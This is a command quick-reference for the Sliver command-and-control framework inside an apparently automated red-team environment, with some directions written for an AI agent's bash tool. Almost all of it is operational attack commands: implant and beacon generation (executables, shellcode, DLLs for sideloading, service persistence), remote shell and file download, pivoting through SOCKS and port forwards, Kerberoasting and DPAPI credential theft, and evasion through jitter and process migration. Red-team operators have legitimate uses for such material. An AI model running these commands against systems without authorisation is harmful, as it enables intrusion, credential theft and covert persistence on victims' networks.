# Sliver C2 Quick Reference

## Architecture (Decepticon)

Sliver runs as a **separated client-server model** in Decepticon:
- **Server**: `c2-sliver` container (starts automatically via `docker compose up -d`)
- **Client**: `sliver-client` (pre-installed in Kali sandbox)
- **Communication**: gRPC over sandbox-net (port 31337)

```
Kali Sandbox                 C2 Container              Target
┌──────────────┐   gRPC     ┌──────────────┐  beacon  ┌──────────┐
│ sliver-client│───────────▶│ sliver-server│◀────────▶│ implant  │
│              │  :31337    │   (daemon)   │  :443    │          │
└──────────────┘            └──────────────┘          └──────────┘
```

## Server Setup

```bash
# Server runs automatically in c2-sliver container — no manual start needed.
# Start the C2 infrastructure:
#   docker compose up -d

# On first boot, the entrypoint auto-generates an operator config at:
#   /workspace/.sliver-configs/decepticon.cfg

# Import operator config (once per sandbox container):
sliver-client import /workspace/.sliver-configs/decepticon.cfg

# Connect from Kali sandbox:
sliver-client
```

## Listener Configuration

### HTTPS Listener
```
https --lhost 0.0.0.0 --lport 443 --domain c2-sliver --cert /path/cert.pem --key /path/key.pem
```

### mTLS Listener
```
mtls --lhost 0.0.0.0 --lport 8888
```

### DNS Listener
```
dns --domains <C2_DOMAIN> --lport 53
```

### WireGuard Listener
```
wg --lhost 0.0.0.0 --lport 51820
```

## Implant Generation

> **ALWAYS use `--skip-symbols`** (faster compile) and **`--save <path>`** (direct save).
> Use `timeout=300` in bash tool — compilation takes 30s-5min.
> Do NOT `cp` the implant after generation — use `--save` to write directly to target dir.

### Session (Interactive)
```
generate --mtls c2-sliver:8888 --os windows --arch amd64 --format exe --skip-symbols --save /workspace/exploit/
generate --https c2-sliver:443 --os windows --arch amd64 --format shellcode --skip-symbols --save /workspace/exploit/
generate --dns c2-sliver --os linux --arch amd64 --skip-symbols --save /workspace/exploit/
```

### Beacon (Async)
```
generate beacon --mtls c2-sliver:8888 --os windows --seconds 30 --jitter 50 --skip-symbols --save /workspace/exploit/
generate beacon --https c2-sliver:443 --os windows --seconds 60 --jitter 30 --skip-symbols --save /workspace/exploit/
```

### Output Formats
| Format | Flag | Use Case |
|--------|------|----------|
| EXE | `--format exe` | Direct execution |
| Shared library | `--format shared` | DLL sideloading |
| Shellcode | `--format shellcode` | Injection, loaders |
| Service | `--format service` | Windows service persistence |

## Post-Implant Operations

### Session Management
```
sessions                    # List sessions
use <SESSION_ID>           # Interact with session
background                 # Background session
sessions -k <SESSION_ID>  # Kill session
```

### Common Operations
```
whoami                     # Current user
getuid                     # User ID
getgid                     # Group ID
pwd                        # Current directory
ls                         # List files
download /path/file.txt    # Download file
upload /local/file /remote/path  # Upload file
execute-assembly /path/SharpHound.exe -c All  # Run .NET assembly
shell                      # Drop to interactive shell
```

### Pivoting
```
# SOCKS proxy through implant
socks5 start -p 1080

# Port forward
portfwd add -b 127.0.0.1:8080 -r <TARGET>:80

# WireGuard tunnel
wg-portfwd add -b 127.0.0.1:445 -r <TARGET>:445
```

### Credential Operations
```
execute-assembly /path/Rubeus.exe kerberoast
execute-assembly /path/SharpDPAPI.exe triage
execute-assembly /path/Seatbelt.exe -group=all
```

## OPSEC Configuration

### Jitter & Sleep
```
# Set beacon interval with jitter
generate beacon --seconds 60 --jitter 50  # 30-90 second interval
```

### Process Migration
```
migrate <PID>              # Migrate to another process
spawndll /path/dll.dll     # Spawn new process with DLL
```

### Evasion
```
# Code signing (during generation)
generate --mtls ... --skip-symbols

# Traffic encryption
# HTTPS/mTLS — encrypted by default
# DNS — base32/base64 encoded
```
